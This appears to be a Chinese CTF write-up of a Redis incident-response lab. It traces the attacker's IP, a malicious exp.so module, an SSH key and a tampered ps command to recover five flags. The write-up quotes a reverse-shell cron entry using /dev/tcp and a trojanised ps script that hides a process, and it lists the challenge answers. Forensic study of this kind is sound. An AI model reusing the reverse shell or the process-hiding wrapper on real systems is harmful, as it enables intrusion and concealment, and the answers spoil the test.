第二章 日志分析 - redis 应急响应
靶机账号密码:root/xjredis
要求如下:
通过本地 PC SSH 到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
通过本地 PC SSH 到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
通过本地 PC SSH 到服务器并且分析黑客反弹 shell 的 IP 为多少,将反弹 shell 的 IP 作为 FLAG 提交;
通过本地 PC SSH 到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串 (flag {黑客的用户 - 关键字符串}),将用户名和关键字符串作为 FLAG 提交
通过本地 PC SSH 到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
1 Flag-1 根据题意可知,靶机使用的服务是 Redis。
使用 SSH 连接到靶机:
查看服务器日志:
查看 Redis 日志:
接下往下分析日志内容,可以发现 192.168.100.13 一直尝试访问 MASTER:
之后攻击者(可能)使用 REPLICAOF 命令进行切换,192.168.31.55 和 192.168.100.20 依次尝试连接,192.168.100.20 连接成功:
使用命令排查一下是否还出现其他 IP:
1 2 3 4 root@ip-10-0-10-2:~# cat /var/log/redis.log | awk '{print $10}' | sort | uniq -c | grep '192' 48 192.168.100.13:8888 2 192.168.100.20:8888 1 192.168.31.55:8888
得出 Flag-1 为:
2 Flag-2 继续分析日志信息,发现在 192.168.100.20 连接成功后,加载了一个 exp.so 文件:
在服务器上查找该文件(.so 文件是二进制文件):
1 2 root@ip-10-0-10-2:~# find / -name exp.so /exp.so
由于 .so 是二进制文件,使用 hexdump 打开查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 root@ip-10-0-10-2:~# hexdump -C /exp.so | grep 'flag' 00006080 66 6c 61 67 7b 58 4a 5f 37 38 66 30 31 32 64 37 |flag{XJ_78f012d7| 00009060 67 42 75 66 66 65 72 00 5f 66 6c 61 67 73 00 5f |gBuffer._flags._| root@ip-10-0-10-2:~# hexdump -C /exp.so | grep -B 3 -A 3 'flag' 00006050 b6 30 00 00 00 00 00 00 c6 30 00 00 00 00 00 00 |.0.......0......| 00006060 d6 30 00 00 00 00 00 00 e6 30 00 00 00 00 00 00 |.0.......0......| 00006070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00006080 66 6c 61 67 7b 58 4a 5f 37 38 66 30 31 32 64 37 |flag{XJ_78f012d7| 00006090 2d 34 32 66 63 2d 34 39 61 38 2d 38 61 38 63 2d |-42fc-49a8-8a8c-| 000060a0 65 37 34 63 38 37 65 61 31 30 39 62 7d 00 47 43 |e74c87ea109b}.GC| 000060b0 43 3a 20 28 44 65 62 69 61 6e 20 31 32 2e 32 2e |C: (Debian 12.2.| -- 00009030 72 65 65 44 69 63 74 00 53 4f 43 4b 5f 4e 4f 4e |reeDict.SOCK_NON| 00009040 42 4c 4f 43 4b 00 52 65 64 69 73 4d 6f 64 75 6c |BLOCK.RedisModul| 00009050 65 5f 44 69 67 65 73 74 41 64 64 53 74 72 69 6e |e_DigestAddStrin| 00009060 67 42 75 66 66 65 72 00 5f 66 6c 61 67 73 00 5f |gBuffer._flags._| 00009070 6d 6f 64 65 00 6d 73 74 69 6d 65 5f 74 00 52 65 |mode.mstime_t.Re| 00009080 64 69 73 4d 6f 64 75 6c 65 5f 47 65 74 43 6f 6e |disModule_GetCon| 00009090 74 65 78 74 46 6c 61 67 73 00 52 65 64 69 73 4d |textFlags.RedisM|
得出 Flag-2 为:
1 flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
3 Flag-3 |![Warning] 注:靶机掉了一次,忘续了。
后续 Redis 日志就没特殊内容了。
在 Redis 中,反弹 Shell 一般是通过定时任务写入进行的,查看 /etc/crontab 文件:
还挺正常,查看下 root 下的 cron:
1 2 3 4 5 6 7 8 9 root@ip-10-0-10-3:~# cat /var/spool/cron/crontabs/root ...... # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # */1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1 # m h dom mon dow command
发现了反弹 Shell 的语句:
1 */1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
得出 Flag-3 为:
4 Flag-4 这里想了蛮久,居然是看 SSH 密钥文件(我吐了),翻日志翻了好久。
查看 root 目录下的 .ssh / authorized_keys 文件,该文件记录了连接的用户信息:
可知黑客的用户名是:
但还不够,由于题目还要求找到黑客使用的工具,大概率可在代码发布平台找到这个用户:
不过找了半天没有,难道在被改过?
还真是,找打了另外一部分:
得出 Flag-4 为:
1 flag{xj-test-user-wow-you-find-flag}
5 Flag-5 由于题目提到了篡改命令,那使用 find 查找一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 根据之前的日志信息可以知道,攻击者访问时间是:31 Jul 2023,2023.07.31 root@ip-10-0-10-3:/# find / -type f -newermt "2023-07-31 00:00:00" ! -newermt "2023-08-01 00:00:00" 2>/dev/null /exp.so /root/.selected_editor /root/.ssh/authorized_keys /usr/local/bin/redis-check-rdb /usr/local/bin/redis-benchmark /usr/local/bin/redis-server /usr/local/bin/redis-check-aof /usr/local/bin/redis-cli /usr/bin/ps_ /usr/bin/ps /var/log/apt/eipp.log.xz /var/log/apt/history.log.1.gz /var/log/apt/term.log.1.gz ......
发现了两个命令文件:
1 2 /usr/bin/ps_ /usr/bin/ps
查看一下 ps(ps_ 是二进制文件):
1 2 3 4 5 6 7 8 9 10 11 root@ip-10-0-10-3:~# cat /usr/bin/ps # /bin/bash oldifs="$IFS" IFS='\$n' result=$(ps_ $1 $2 $3|grep -v 'threadd' ) for v in $result; do echo -e "$v\t"; done IFS="$oldifs" # //c195i2923381905517d818e313792d196
得出 Flag-5 为:
1 flag{c195i2923381905517d818e313792d196}